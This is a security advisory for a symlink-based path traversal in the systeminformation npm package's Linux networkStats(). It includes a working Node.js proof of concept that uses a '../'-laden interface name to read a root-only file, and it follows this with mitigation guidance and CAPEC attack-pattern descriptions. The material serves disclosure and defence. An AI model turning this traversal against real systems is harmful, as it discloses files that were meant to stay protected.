The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.33.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116673"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:13:50Z",
"nvd_published_at": "2026-10-27T17:16:59Z",
"severity": "LOW"
},
"details": "### Summary\n\nOn Linux, `systeminformation@5.33.13` builds `/sys/class/net/\u003ciface\u003e` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.\n\n### Details\n\nThe strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync(\u0027/sys/class/net/\u0027 + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.\n\nThe proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.\n\n### PoC\n\nUse a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:\n\n```sh\nmkdir si-netstats-repro\ncd si-netstats-repro\nnpm init -y\nnpm install systeminformation@5.33.13\n```\n\nSave the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027node:fs\u0027);\nconst { execFileSync } = require(\u0027node:child_process\u0027);\nconst si = require(\u0027systeminformation\u0027);\n\nconst root = `/tmp/si-netstats-${process.pid}`;\nconst secret = `/root/si-netstats-secret-${process.pid}`;\nconst marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;\nconst fixtureCode = `\n const fs = require(\u0027node:fs\u0027);\n const root = process.env.SI_FIXTURE_ROOT;\n const secret = process.env.SI_SECRET;\n fs.mkdirSync(root + \u0027/statistics\u0027, { recursive: true });\n for (const name of [\u0027rx_bytes\u0027, \u0027tx_bytes\u0027, \u0027rx_dropped\u0027, \u0027rx_errors\u0027, \u0027tx_dropped\u0027, \u0027tx_errors\u0027]) {\n fs.writeFileSync(root + \u0027/statistics/\u0027 + name, \u00270\\\\n\u0027);\n }\n fs.symlinkSync(secret, root + \u0027/operstate\u0027);\n`;\n\n(async () =\u003e {\n try {\n fs.writeFileSync(secret, marker + \u0027\\\\n\u0027, { mode: 0o600 });\n fs.chmodSync(secret, 0o600);\n\n execFileSync(\u0027runuser\u0027, [\n \u0027-u\u0027, \u0027nobody\u0027, \u0027--\u0027, \u0027env\u0027,\n `SI_FIXTURE_ROOT=${root}`,\n `SI_SECRET=${secret}`,\n process.execPath, \u0027-e\u0027, fixtureCode\n ], { stdio: \u0027inherit\u0027 });\n\n let nobodyCouldRead = true;\n try {\n execFileSync(\u0027runuser\u0027, [\u0027-u\u0027, \u0027nobody\u0027, \u0027--\u0027, \u0027cat\u0027, secret], { stdio: \u0027ignore\u0027 });\n } catch {\n nobodyCouldRead = false;\n }\n if (nobodyCouldRead) throw new Error(\u0027negative control failed: nobody read the marker\u0027);\n\n const iface = \u0027../\u0027.repeat(24) + root.slice(1);\n const rows = await si.networkStats(iface);\n const returned = String(rows[0]?.operstate ?? \u0027\u0027).trim();\n const success = returned === marker;\n\n console.log(JSON.stringify({\n nobodyCouldRead,\n libraryReturnedRootOnlyMarker: success,\n returnedOperstate: returned\n }, null, 2));\n\n if (!success) process.exitCode = 1;\n } finally {\n fs.rmSync(root, { recursive: true, force: true });\n fs.rmSync(secret, { force: true });\n }\n})().catch((error) =\u003e {\n console.error(error);\n process.exitCode = 1;\n});\n```\n\nExpected result:\n\n```json\n{\n \"nobodyCouldRead\": false,\n \"libraryReturnedRootOnlyMarker\": true,\n \"returnedOperstate\": \"SYNTHETIC_ROOT_ONLY_MARKER_\u003cpid\u003e\"\n}\n```\n\n### Impact\n\nThe demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.",
"id": "GHSA-4vjg-vx72-qq4g",
"modified": "2026-10-28T21:13:50Z",
"published": "2026-10-28T21:13:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116673"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.